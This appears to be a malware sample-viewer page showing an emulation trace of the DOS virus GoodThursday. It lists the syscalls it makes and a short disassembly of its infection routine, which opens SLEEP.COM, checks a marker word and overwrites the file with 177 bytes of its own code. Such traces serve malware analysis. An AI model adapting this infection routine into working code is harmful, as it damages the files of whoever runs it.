Sample viewer

vx.netlux.org/Virus.DOS.GoodThursday

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GIF

Syscalls:

Time Syscall Op Syscall Name
2018-12-17T23:00:20.660418253Z 78 PC: 12a4c | Find first file
2018-12-17T23:00:20.667173758Z 61 PC: 12a64 | Open file (Filename = 'SLEEP.COM')
2018-12-17T23:00:20.674707285Z 42 PC: 12a69 | Get date 0x12a69: cwde
0x12a6a: cmp ax, 4
0x12a6d: je 0x12aa0
0x12a6f: je 0x12a98
0x12a71: mov ah, 0x3f
0x12a73: mov cx, 2
0x12a76: mov dx, 0x15e
0x12a79: int 0x21
0x12a7b: cmp word ptr [0x15e], 0xc18b
0x12a81: pushf
0x12a82: je 0x12a98
0x12a84: cdq
0x12a85: mov cx, dx
0x12a87: mov ax, 0x4200
0x12a8a: mov ax, ax
0x12a8c: int 0x21
0x12a8e: mov ah, 0x40
0x12a90: mov cx, 0xb1
0x12a93: mov dx, 0x100
0x12a96: int 0x21
2018-12-17T23:00:20.682749628Z 63 PC: 12a7b | Read file or device (Read 2 bytes on handle 5)
2018-12-17T23:00:20.689716871Z 66 PC: 12a8e | Move file pointer
2018-12-17T23:00:20.692457681Z 64 PC: 12a98 | Write file or device (Write 177 bytes on handle 5)
2018-12-17T23:00:20.69521309Z 62 PC: 12a9c | Close file
2018-12-17T23:00:20.711132986Z 76 PC: 12a5c | Terminate with return code (Return code = '1')